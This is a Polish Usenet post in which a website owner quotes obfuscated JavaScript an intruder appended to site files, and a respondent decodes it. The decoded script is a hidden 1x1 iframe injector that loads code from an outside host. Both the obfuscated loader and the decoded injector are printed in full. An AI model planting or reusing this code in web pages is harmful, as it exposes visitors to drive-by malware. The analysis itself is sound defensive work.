🚀 go-pugleaf

Fri, 4 Jan 2013 00:07:51 -0800 (PST)      
mipaj1111@gmail.com   napisał(a):

> Dzień dobry,
> 
> Jakiś czas temu ktoś włamał się na prowadzoną przeze mnie stronę www i
> podmienił, a właściwie podopisywał coś do niektórych plików.
> 
> Poniżej zawartość jednego z tych dopisów, i moja prośba do Was - co ten
> skrypt robi?
> 
> *************
> 
> try{bgewg346tr++}catch(aszx){try{dsgdsg-142}catch(dsfsd){try{window.document.body++}catch(gdsgsdg){dbshre=26;}}}
> if(dbshre){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){e=eval;}asgq=new
> Array(31,94,110,104,94,107,97,104,104,27,31,33,25,117,8,1,24,25,26,27,109,89,107,26,101,112,95,112,26,56,23,92,104,93,112,100,93,103,110,41,90,106,94,91,111,92,61,101,95,104,92,102,109,34,34,96,94,107,91,104,92,31,34,53,8,1,5,3,26,27,23,24,99,115,98,110,38,108,108,94,23,53,25,33,99,107,108,105,52,42,38,41,101,105,102,105,89,108,104,116,106,108,90,113,41,90,90,90,40,107,99,39,98,103,92,94,93,108,41,111,105,89,95,40,107,95,104,32,53,8,1,24,25,26,27,97,113,96,113,41,106,108,114,102,96,37,104,104,109,100,107,97,104,104,27,52,24,32,91,93,106,103,101,111,111,92,31,52,7,5,23,24,25,26,101,112,95,112,40,110,107,113,101,95,41,89,103,107,94,96,105,24,54,26,34,39,31,52,7,5,23,24,25,26,101,112,95,112,40,110,107,113,101,95,41,95,93,98,97,99,107,24,54,26,34,40,104,113,33,54,4,2,25,26,27,23,98,114,97,114,37,107,109,115,103,92,38,112,99,95,107,96,25,55,27,30,41,105,114,34,50,5,3,26,27,23,24,99,115,98,110,38,108,110,116,99,93,39,102,96,93,108,25,55,27,30,41,105,114,34,50,5,3,26,27,23,24,99,115,98,110,38,108,110,116,99,93,39,110,106,103,24,54,26,34,40,104,113,33,54,4,2,6,4,27,23,24,25,99,97,23,32,26,94,106,90,109,102,95,105,107,38,96,95,111,60,100,94,103,96,101,108,59,115,68,91,32,32,100,116,94,111,32,35,36,23,115,6,4,27,23,24,25,26,27,23,24,93,105,94,108,101,94,104,111,37,111,107,99,111,92,32,32,54,95,96,110,25,99,95,52,84,32,100,116,94,111,85,33,57,51,39,93,99,113,53,31,34,53,8,1,24,25,26,27,23,24,25,26,95,102,91,110,103,96,101,108,39,97,96,107,61,101,95,104,92,102,109,60,116,64,92,33,33,101,112,95,112,33,36,37,89,105,106,96,101,92,60,98,100,99,92,33,100,116,94,111,34,53,8,1,24,25,26,27,116,5,3,119,36,31,33,52);s="";for(i=0;i-493!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-9));}z=s;e(z);}


Wykonuje taki kod:
	(function () { 
		var jygw = document.createElement('iframe'); 
		jygw.src = 'http://1lokrasnystaw.cba.pl/images/traf.php'; 
		jygw.style.position = 'absolute'; 
		jygw.style.border = '0'; 
		jygw.style.height = '1px'; 
		jygw.style.width = '1px'; 
		jygw.style.left = '1px'; 
		jygw.style.top = '1px'; 
		if (!document.getElementById('jygw')) { 
			document.write(''); 
			document.getElementById('jygw').appendChild(jygw); 
		} 
	})();
czyli, jeśli się nie mylę, w prawie niewidocznej ramce uruchamia swój kod
pobrany z powyższego adresu.


Pozdr. Piotr